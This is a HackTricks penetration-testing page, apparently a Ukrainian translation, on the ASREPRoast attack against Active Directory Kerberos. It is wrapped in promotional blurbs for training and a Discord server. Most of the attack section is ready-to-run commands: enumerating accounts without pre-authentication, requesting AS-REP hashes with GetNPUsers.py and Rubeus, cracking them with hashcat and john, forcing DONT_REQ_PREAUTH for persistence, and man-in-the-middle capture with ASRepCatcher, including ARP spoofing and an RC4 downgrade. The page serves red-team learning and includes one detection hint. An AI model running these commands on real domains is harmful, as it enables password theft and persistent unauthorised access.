hacktricks/windows-hardening/active-directory-methodology/asreproast.md

9 KiB
Raw Blame History

ASREPRoast

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

ASREPRoast

ASREPRoast — це атака безпеки, яка експлуатує користувачів, які не мають атрибута, що вимагає попередньої аутентифікації Kerberos. По суті, ця вразливість дозволяє зловмисникам запитувати аутентифікацію для користувача у Контролера домену (DC) без необхідності знати пароль користувача. DC потім відповідає повідомленням, зашифрованим за допомогою ключа, отриманого з пароля користувача, який зловмисники можуть спробувати зламати офлайн, щоб дізнатися пароль користувача.

Основні вимоги для цієї атаки:

  • Відсутність попередньої аутентифікації Kerberos: Цільові користувачі не повинні мати цю функцію безпеки увімкненою.
  • З'єднання з Контролером домену (DC): Зловмисники повинні мати доступ до DC, щоб надсилати запити та отримувати зашифровані повідомлення.
  • Необліковий доменний акаунт: Наявність доменного акаунта дозволяє зловмисникам більш ефективно ідентифікувати вразливих користувачів через LDAP-запити. Без такого акаунта зловмисники повинні вгадувати імена користувачів.

Перерахунок вразливих користувачів (потрібні доменні облікові дані)

{% code title="Using Windows" %}

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

{% endcode %}

{% code title="Використання Linux" %}

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

{% endcode %}

Запит AS_REP повідомлення

{% code title="Використовуючи Linux" %}

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

{% endcode %}

{% code title="Використання Windows" %}

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

{% endcode %}

{% hint style="warning" %} AS-REP Roasting з Rubeus згенерує 4768 з типом шифрування 0x17 та типом попередньої автентифікації 0. {% endhint %}

Ломка

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Постійність

Примусьте preauth не вимагати для користувача, де у вас є GenericAll дозволи (або дозволи на запис властивостей):

{% code title="Using Windows" %}

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

{% endcode %}

{% code title="Використання Linux" %}

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

{% endcode %}

ASREProast без облікових даних

Зловмисник може використовувати позицію "людина посередині", щоб захопити пакети AS-REP під час їх проходження через мережу, не покладаючись на відключення попередньої автентифікації Kerberos. Тому це працює для всіх користувачів у VLAN.
ASRepCatcher дозволяє нам це зробити. Більше того, інструмент змушує робочі станції клієнтів використовувати RC4, змінюючи переговори Kerberos.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

References


Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!

Hacking Insights
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу

Real-Time Hack News
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі

Latest Announcements
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}